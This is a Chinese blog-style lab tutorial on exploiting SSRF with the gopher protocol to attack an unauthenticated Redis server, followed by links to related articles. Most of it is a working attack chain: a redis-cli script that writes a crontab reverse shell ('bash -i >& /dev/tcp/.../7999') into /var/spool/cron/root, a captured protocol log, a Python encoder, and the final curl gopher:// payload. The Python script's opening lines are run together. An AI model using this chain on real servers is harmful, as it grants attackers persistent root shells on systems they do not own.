0x00实验环境

1、centos靶机(IP为:192.168.11.205,桥接模式)

2、kali黑客攻击主机(IP为:192.168.172.129,NAT模式)

0x01实验原理

这段payload的作用我们先说明一下,其作用是在靶机的/var/spool/cron临时目录下,利用ssrf漏洞写入黑客的redis数据库的操作,这样,黑客可以通过自己写入的redis数据库直接运行后获取靶机的shell

0x02实验步骤

(1)在centos靶机内部部署:

 注意:这里面的192.168.172.129/7999是我们kali的主机IP

echo -e "\n\n*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1\n\n"|/root/redis-2.8.3/src/redis-cli -h $1 -p $2 -x set 1
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dir /var/spool/cron/
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 config set dbfilename root
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 save
/root/redis-2.8.3/src/redis-cli -h $1 -p $2 quit

其中

$1表示含有redis漏洞的主机IP(centos)

$2表示redis的开启的端口或者被转发之后的端口

将上述代码保存为bash.sh(注意修改redis的路径及IP)

(2)使用socat进行端口转发(注:如果没有安装socat的,请使用如下的命令行进行安装)

yum install socat

(3)使用socat进行redis的端口转发,这里需要保证你的centos的redis端口是开启的

(4)将产生的命令行复制出来,并使用python脚本进行过滤各种尖括号等的操作,这是为了让机器更好的识别,并保存为log.txt

过滤方法:

  • 如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。

  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。

  • \r字符串替换成%0d%0a

  • 空白行替换为%0a

2019/05/17 12:05:20.576789 length=89 from=0 to=88
*3\r
$3\r
set\r
$1\r
1\r
$62\r */2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1 \r
< 2019/05/17 12:05:20.577165 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.581392 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/05/17 12:05:20.581966 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.587385 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/05/17 12:05:20.587804 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.591422 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/05/17 12:05:20.593302 length=5 from=0 to=4
+OK\r
> 2019/05/17 12:05:20.597224 length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2019/05/17 12:05:20.597551 length=5 from=0 to=4
+OK\r

python脚本为(建议使用python2的环境):

#coding: utf-8
import sys exp = '' with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp

得到如下结果:

88*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

(5)使用CURL构造完整的请求

curl -v 'gopher://192.168.11.205:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/2 * * * * bash -i >& /dev/tcp/192.168.172.129/7999 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

待续。。。。。

SSRF漏洞利用之Redis大神赐予shell的更多相关文章

  1. ssrf漏洞利用(内网探测、打redis)

    摘要:存在ssrf漏洞的站点主要利用四个协议,分别是http.file.gopher.dict协议. file协议拿来进行本地文件的读取,http协议拿来进行内网的ip扫描.端口探测,如果探测到637 ...

  2. SSRF——漏洞利用(二)

    0x01 概述 上篇讲述了SSRF的一般用法,用http协议来进行内网探测,攻击内网redis,接下来讨论的是SSRF的拓展用法,通过,file,gopher,dict协议对SSRF漏洞进行利用. 0 ...

  3. SSRF漏洞(原理、漏洞利用、修复建议)

    介绍SSRF漏洞 SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞.一般情况下,SSRF攻击的目标是外网无法访问 ...

  4. 实战篇丨聊一聊SSRF漏洞的挖掘思路与技巧

    在刚结束的互联网安全城市巡回赛中,R师傅凭借丰富的挖洞经验,实现了8家SRC大满贯,获得了第一名的好成绩!R师傅结合自身经验并期许新手小白要多了解各种安全漏洞,并应用到实际操作中,从而丰富自己的挖洞经 ...

  5. SSRF漏洞的挖掘思路与技巧

    什么是SSRF? SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法 ...

  6. SSRF漏洞详解

    0.SSRF简介 SSRF全称为Server-side Request Forgery,即服务端请求伪造攻击,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外 ...

  7. CVE-2017-9993 FFMpeg漏洞利用

    漏洞原理: 更改连接直接发送请求,造成ssrf 漏洞利用: 脚本地址:https://github.com/neex/ffmpeg-avi-m3u-xbin 用法: 生成一个读取/etc/passwd ...

  8. SSRF漏洞分析与利用

    转自:http://www.4o4notfound.org/index.php/archives/33/ 前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的 0x01 ...

  9. SSRF之利用dict和gopher吊打Redis

    SSRF之利用dict和gopher吊打Redis 写在前面 SSRF打Redis也是老生常谈的东西了,这里复现学习一下之前在xz看到某师傅写的关于SSRF利用dict和gopher打内网服务的文章, ...

随机推荐

  1. Round Numbers POJ - 3252

    题意: 如果你个数的二进制中1的个数要小于等于0的个数,那么这个数就符合题意.现在要你找出来区间[li,ri]这个区间内有多少这样的数 题解: 题意很明显了,是要用二进制,所以我们也把给的区间边界转化 ...

  2. github host

    更改hosts文件,地址:C:\Windows\System32\Drivers\etc 不能直接修改,将其拷贝到桌面,进行修改后,再复制到文件目录下(直接替换) 在hosts文件中添加: # git ...

  3. CF1459-C. Row GCD

    CF1459-C. Row GCD 题意: 给出两个整数序列\(a.b\),他们的长度分别为\(n,m\).对于数组\(b\)中的每个数字,让你求出\(gcd(a_1+b_j,a_2+b_j,..., ...

  4. JavaScript常见笔试题分析

      1.Javascript的typeof可能返回的结果有哪些? 答:共6种,具体为number ,boolean,string,undefined,function,object(对象或者null返 ...

  5. BZOJ1001 狼抓兔子(网络流转最短路:对偶图)

    题意: 给一个如图形式的\(n*m\)的方格,从左上走到右下,给出边权,问分成两块所需的最小代价.\(n,m\leq1000\). 思路: 显然是个最小割,但是\(O(n^2m)\)的复杂度很高,虽然 ...

  6. 101道Numpy、Pandas练习题

    无论是数据分析还是机器学习,数据的预处理必不可少. 其中最常用.最基础的Python库非numpy和pandas莫属,很多初学者可能看了很多教程,但是很快就把用法忘光了. 光看不练假把式,今天向大家推 ...

  7. 网站备案查询/ICP备案查询网

    网站备案查询/ICP备案查询网 互联网站备案信息全国公安机关互联网站安全服务平台http://www.beian.gov.cn/portal/index 1 http://www.miitbeian. ...

  8. js with All In One

    js with All In One 不推荐,要废弃 function f(x, o) { with (o) { console.log(x); } } function f(foo, values) ...

  9. GitHub & GraphQL API

    GitHub & GraphQL API https://gist.github.com/xgqfrms/15559e7545f558d85c5efdea79171a3d refs xgqfr ...

  10. c++ readIntger writeIntger

    类似CE的read/writeIntger函数(外部) #include <iostream> #include <Windows.h> #include <TlHelp ...